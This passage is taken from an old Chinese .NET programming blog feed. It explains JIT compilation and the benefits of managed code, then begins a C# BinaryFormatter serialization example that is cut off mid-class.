		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 2">           </span>
				</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">其过程又可称为编译时编译，实际上所编译的程序集主要由</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">IL</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">、元数据和资源文件（</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">.jpeg</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">、</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">.gif</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">、</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">.html</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">等）组成。</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; mso-outline-level: 1">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 1">      </span>1.3 </span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">执行程序集代码</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 2">           </span>
				</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">其过程是将</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">IL</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">代码编译成为本地</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">CPU</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">所识别的指令，这属于</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">CLR</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">中</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">JIT compiler</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的工作。以下是编译时的情况：</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-spacerun: yes">      </span>
				</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">图</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">1</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">所展示的是一个方法在第一次被调用时的情况。</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<?xml:namespace prefix = v ns = "urn:schemas-microsoft-com:vml" /?>
						<v:shapetype id="_x0000_t75" stroked="f" filled="f" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" o:spt="75" coordsize="21600,21600">
								<v:stroke joinstyle="miter">
								</v:stroke>
								<v:formulas>
										<v:f eqn="if lineDrawn pixelLineWidth 0">
										</v:f>
										<v:f eqn="sum @0 1 0">
										</v:f>
										<v:f eqn="sum 0 0 @1">
										</v:f>
										<v:f eqn="prod @2 1 2">
										</v:f>
										<v:f eqn="prod @3 21600 pixelWidth">
										</v:f>
										<v:f eqn="prod @3 21600 pixelHeight">
										</v:f>
										<v:f eqn="sum @0 0 1">
										</v:f>
										<v:f eqn="prod @6 1 2">
										</v:f>
										<v:f eqn="prod @7 21600 pixelWidth">
										</v:f>
										<v:f eqn="sum @8 21600 0">
										</v:f>
										<v:f eqn="prod @7 21600 pixelHeight">
										</v:f>
										<v:f eqn="sum @10 21600 0">
										</v:f>
								</v:formulas>
								<v:path o:connecttype="rect" gradientshapeok="t" o:extrusionok="f">
								</v:path>
								<o:lock aspectratio="t" v:ext="edit">
								</o:lock>
						</v:shapetype>
						<v:shape id="_x0000_i1025" style="WIDTH: 414.75pt; HEIGHT: 391.5pt" type="#_x0000_t75">
								<v:imagedata o:title="1" src="file:///C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\msohtml1\01\clip_image001.jpg">
								</v:imagedata>
						</v:shape>
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 8">                                             </span>
				</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">图</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">1 </span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">方法的第一次调用</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 2">           </span>
				</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">图</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">2</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">所显示的是方法第二次调用时的情况</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<v:shape id="_x0000_i1026" style="WIDTH: 415.5pt; HEIGHT: 387.75pt" type="#_x0000_t75">
								<v:imagedata o:title="2" src="file:///C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\msohtml1\01\clip_image002.jpg">
								</v:imagedata>
						</v:shape>
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center">
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">图</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">2 </span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">方法第二次调用</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; mso-outline-level: 1">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 1">      </span>1.4 </span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">托管代码的优势</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 63pt; TEXT-INDENT: -21pt; mso-list: l1 level3 lfo1; tab-stops: list 63.0pt">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-family: Wingdings">
						<span style="mso-list: Ignore">n<span style="FONT: 7pt 'Times New Roman'">          </span></span>
				</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">如果应用程序在一些新型的</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">CPU</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">（如奔腾</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">4 CPU</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">）上运行，</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">JIT</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">编译器将能够检测到这种情况，并产生利用这些新型</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">CPU</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">提供的特殊指令的本地代码。而非托管应用程序通常被编译为面向具有最小通用功能集合的</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">CPU</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">平台，一般会避免使用</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">CPU</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">提供的特殊指令。而这些指令往往会在新的</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">CPU</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">上为应用程序带来很高的性能提升。</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 63pt; TEXT-INDENT: -21pt; mso-list: l1 level3 lfo1; tab-stops: list 63.0pt">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-family: Wingdings">
						<span style="mso-list: Ignore">n<span style="FONT: 7pt 'Times New Roman'">          </span></span>
				</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">JIT</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">编译器能检测到正在运行的机器上某些总是返回错误的布尔测试。如：</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">if (numberOfCPUs &gt; 1) {…}<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 1">      </span>
				</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">如果宿主机器只有一个</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">CPU</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，那么这段代码，</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">JIT</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">编译器将不会产生任何</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">CPU</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">指令。代码量减小，速度也会更快。</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 63pt; TEXT-INDENT: -21pt; mso-list: l0 level1 lfo2; tab-stops: list 63.0pt">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-family: Wingdings">
						<span style="mso-list: Ignore">n<span style="FONT: 7pt 'Times New Roman'">          </span></span>
				</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">在应用程序运行时，</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">CLR</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">能够分析评估代码的执行情况，并有选择地重新将</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">IL</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">代码编译为本地代码。根据观察到的执行模式，被编译的代码可以被重新组织以提高分支预测的成功率。</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
<img src ="http://www.cnitblog.com/eastperson/aggbug/15364.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2006-08-16 15:03 <a href="http://www.cnitblog.com/eastperson/archive/2006/08/16/15364.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>BinaryFormmater序列化！</title><link>http://www.cnitblog.com/eastperson/archive/2006/08/14/15245.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Mon, 14 Aug 2006 10:06:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2006/08/14/15245.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/15245.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2006/08/14/15245.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/15245.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/15245.html</trackback:ping><description><![CDATA[
		<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
				<span style="COLOR: #008080"> 1</span>
				<img src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align="top" />
				<span style="COLOR: #0000ff">using</span>
				<span style="COLOR: #000000"> System;<br /></span>
				<span style="COLOR: #008080"> 2</span>
				<span style="COLOR: #000000">
						<img src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align="top" />
				</span>
				<span style="COLOR: #0000ff">using</span>
				<span style="COLOR: #000000"> System.Collections.Generic;<br /></span>
				<span style="COLOR: #008080"> 3</span>
				<span style="COLOR: #000000">
						<img src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align="top" />
				</span>
				<span style="COLOR: #0000ff">using</span>
				<span style="COLOR: #000000"> System.Text;<br /></span>
				<span style="COLOR: #008080"> 4</span>
				<span style="COLOR: #000000">
						<img src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align="top" />
				</span>
				<span style="COLOR: #0000ff">using</span>
				<span style="COLOR: #000000"> System.IO;<br /></span>
				<span style="COLOR: #008080"> 5</span>
				<span style="COLOR: #000000">
						<img src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align="top" />
				</span>
				<span style="COLOR: #0000ff">using</span>
				<span style="COLOR: #000000"> System.Runtime.Serialization;<br /></span>
				<span style="COLOR: #008080"> 6</span>
				<span style="COLOR: #000000">
						<img src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align="top" />
				</span>
				<span style="COLOR: #0000ff">using</span>
				<span style="COLOR: #000000"> System.Runtime.Serialization.Formatters.Binary;<br /></span>
				<span style="COLOR: #008080"> 7</span>
				<span style="COLOR: #000000">
						<img src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align="top" />
						<br />
				</span>
				<span style="COLOR: #008080"> 8</span>
				<span style="COLOR: #000000">
						<img src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align="top" />
				</span>
				<span style="COLOR: #0000ff">namespace</span>
				<span style="COLOR: #000000"> ConsoleApplication2<br /></span>
				<span style="COLOR: #008080"> 9</span>
				<span style="COLOR: #000000">
						<img id="Codehighlighter1_205_1361_Open_Image" onclick="this.style.display='none'; Codehighlighter1_205_1361_Open_Text.style.display='none'; Codehighlighter1_205_1361_Closed_Image.style.display='inline'; Codehighlighter1_205_1361_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedBlockStart.gif" align="top" />
						<img id="Codehighlighter1_205_1361_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_205_1361_Closed_Text.style.display='none'; Codehighlighter1_205_1361_Open_Image.style.display='inline'; Codehighlighter1_205_1361_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedBlock.gif" align="top" />
				</span>
				<span id="Codehighlighter1_205_1361_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
						<img src="http://www.cnitblog.com/images/dot.gif" />
				</span>
				<span id="Codehighlighter1_205_1361_Open_Text">
						<span style="COLOR: #000000">{<br /></span>
						<span style="COLOR: #008080">10</span>
						<span style="COLOR: #000000">
								<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    </span>
						<span style="COLOR: #0000ff">class</span>
						<span style="COLOR: #000000"> BinaryFormatterSerialize<br /></span>
						<span style="COLOR: #008080">11</span>
						<span style="COLOR: #000000">
								<img id="Codehighlighter1_246_969_Open_Image" onclick="this.style.display='none'; Codehighlighter1_246_969_Open_Text.style.display='none'; Codehighlighter1_246_969_Closed_Image.style.display='inline'; Codehighlighter1_246_969_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" />
								<img id="Codehighlighter1_246_969_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_246_969_Closed_Text.style.display='none'; Codehighlighter1_246_969_Open_Image.style.display='inline'; Codehighlighter1_246_969_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedSubBlock.gif" align="top" />    </span>
						<span id="Codehighlighter1_246_969_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
								<img src="http://www.cnitblog.com/images/dot.gif" />
						</span>
						<span id="Codehighlighter1_246_969_Open_Text">
								<span style="COLOR: #000000">{<br /></span>
								<span style="COLOR: #008080">12</span>
								<span style="COLOR: #000000">
										<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />        </span>
								<span style="COLOR: #0000ff">static</span>
								<span style="COLOR: #000000"> </span>
								<span style="COLOR: #0000ff">void</span>
								<span style="COLOR: #000000"> Main(</span>
								<span style="COLOR: #0000ff">string</span>
								<span style="COLOR: #000000">[] args)<br /></span>
								<span style="COLOR: #008080">13</span>
								<span style="COLOR: #000000">
										<img id="Codehighlighter1_296_963_Open_Image" onclick="this.style.display='none'; Codehighlighter1_296_963_Open_Text.style.display='none'; Codehighlighter1_296_963_Closed_Image.style.display='inline'; Codehighlighter1_296_963_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" />
										<img id="Codehighlighter1_296_963_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_296_963_Closed_Text.style.display='none'; Codehighlighter1_296_963_Open_Image.style.display='inline'; Codehighlighter1_296_963_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedSubBlock.gif" align="top" />        </span>
								<span id="Codehighlighter1_296_963_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
										<img src="http://www.cnitblog.com/images/dot.gif" />
								</span>
								<span id="Codehighlighter1_296_963_Open_Text">
										<span style="COLOR: #000000">{<br /></span>
										<span style="COLOR: #008080">14</span>
										<span style="COLOR: #000000">
												<img id="Codehighlighter1_310_317_Open_Image" onclick="this.style.display='none'; Codehighlighter1_310_317_Open_Text.style.display='none'; Codehighlighter1_310_317_Closed_Image.style.display='inline'; Codehighlighter1_310_317_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" />
												<img id="Codehighlighter1_310_317_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_310_317_Closed_Text.style.display='none'; Codehighlighter1_310_317_Open_Image.style.display='inline'; Codehighlighter1_310_317_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedSubBlock.gif" align="top" />            </span>
										<span id="Codehighlighter1_310_317_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">/**/</span>
										<span id="Codehighlighter1_310_317_Open_Text">
												<span style="COLOR: #808080">///</span>
												<span style="COLOR: #008000">/序列化</span>
												<span style="COLOR: #808080">
												</span>
										</span>
										<br />
										<span style="COLOR: #008080">15</span>
										<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
										<span style="COLOR: #000000">            </span>
										<span style="COLOR: #008000">//</span>
										<span style="COLOR: #008000">SerializeTest st = new SerializeTest(120);<br /></span>
										<span style="COLOR: #008080">16</span>
										<span style="COLOR: #008000">
												<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />            </span>
										<span style="COLOR: #008000">//</span>
										<span style="COLOR: #008000">SerializeTest st1 = new SerializeTest(300);<br /></span>
										<span style="COLOR: #008080">17</span>
										<span style="COLOR: #008000">
												<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />            </span>
										<span style="COLOR: #008000">//</span>
										<span style="COLOR: #008000">BinaryFormatter bf = new BinaryFormatter();<br /></span>
										<span style="COLOR: #008080">18</span>
										<span style="COLOR: #008000">
												<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />            </span>
										<span style="COLOR: #008000">//</span>
										<span style="COLOR: #008000">Stream sr = File.Open("E:\\Serialize.bat", FileMode.Append);<br /></span>
										<span style="COLOR: #008080">19</span>
										<span style="COLOR: #008000">
												<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />            </span>
										<span style="COLOR: #008000">//</span>
										<span style="COLOR: #008000">bf.Serialize(sr, st);<br /></span>
										<span style="COLOR: #008080">20</span>
										<span style="COLOR: #008000">
												<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />            </span>
										<span style="COLOR: #008000">//</span>
										<span style="COLOR: #008000">bf.Serialize(sr, st1);<br /></span>
										<span style="COLOR: #008080">21</span>
										<span style="COLOR: #008000">
												<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />            </span>
										<span style="COLOR: #008000">//</span>
										<span style="COLOR: #008000">sr.Close();<br /></span>
										<span style="COLOR: #008080">22</span>
										<span style="COLOR: #008000">
												<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
												<br />
										</span>
										<span style="COLOR: #008080">23</span>
										<span style="COLOR: #008000">
												<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />            </span>
										<span style="COLOR: #008000">//</span>
										<span style="COLOR: #008000">反序列化</span>
										<span style="COLOR: #008000">
												<br />
										</span>
										<span style="COLOR: #008080">24</span>
										<span style="COLOR: #008000">
												<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
										</span>
										<span style="COLOR: #000000">            BinaryFormatter bf </span>
										<span style="COLOR: #000000">=</span>
										<span style="COLOR: #000000"> </span>
										<span style="COLOR: #0000ff">new</span>
										<span style="COLOR: #000000"> BinaryFormatter();<br /></span>
										<span style="COLOR: #008080">25</span>
										<span style="COLOR: #000000">
												<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />            Stream sread </span>
										<span style="COLOR: #000000">=</span>
										<span style="COLOR: #000000"> File.OpenRead(</span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000">E:\\Serialize.bat</span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000">);<br /></span>
										<span style="COLOR: #008080">26</span>
										<span style="COLOR: #000000">
												<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />            SerializeTest sst </span>
										<span style="COLOR: #000000">=</span>
										<span style="COLOR: #000000"> (SerializeTest)bf.Deserialize(sread);<br /></span>
										<span style="COLOR: #008080">27</span>
										<span style="COLOR: #000000">
												<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />            System.Console.WriteLine(sst.Test());<br /></span>
										<span style="COLOR: #008080">28</span>
										<span style="COLOR: #000000">
												<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />            sread.Close();<br /></span>
										<span style="COLOR: #008080">29</span>
										<span style="COLOR: #000000">
												<img src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />        }</span>
								</span>
								<span style="COLOR: #000000">
										<br />
								</span>
								<span style="COLOR: #008080">30</span>
								<span style="COLOR: #000000">
										<img src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />    }</span>
						</span>
						<span style="COLOR: #000000">
								<br />
						</span>
						<span style="COLOR: #008080">31</span>
						<span style="COLOR: #000000">
								<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
								<br />
						</span>
						<span style="COLOR: #008080">32</span>
						<span style="COLOR: #000000">
								<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    [Serializable]<br /></span>
						<span style="COLOR: #008080">33</span>
						<span style="COLOR: #000000">
								<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    </span>
						<span style="COLOR: #0000ff">class</span>
						<span style="COLOR: #000000"> SerializeTest<br /></span>
						<span style="COLOR: #008080">34</span>
						<span style="COLOR: #000000">
								<img id="Codehighlighter1_1019_1359_Open_Image" onclick="this.style.display='none'; Codehighlighter1_1019_1359_Open_Text.style.display='none'; Codehighlighter1_1019_1359_Closed_Image.style.display='inline'; Codehighlighter1_1019_1359_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" />
								<img id="Codehighlighter1_1019_1359_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_1019_1359_Closed_Text.style.display='none'; Codehighlighter1_1019_1359_Open_Image.style.display='inline'; Codehighlighter1_1019_1359_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedSubBlock.gif" align="top" />    </span>
						<span id="Codehighlighter1_1019_1359_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
								<img src="http://www.cnitblog.com/images/dot.gif" />
						</span>
						<span id="Codehighlighter1_1019_1359_Open_Text">
								<span style="COLOR: #000000">{<br /></span>
								<span style="COLOR: #008080">35</span>
								<span style="COLOR: #000000">
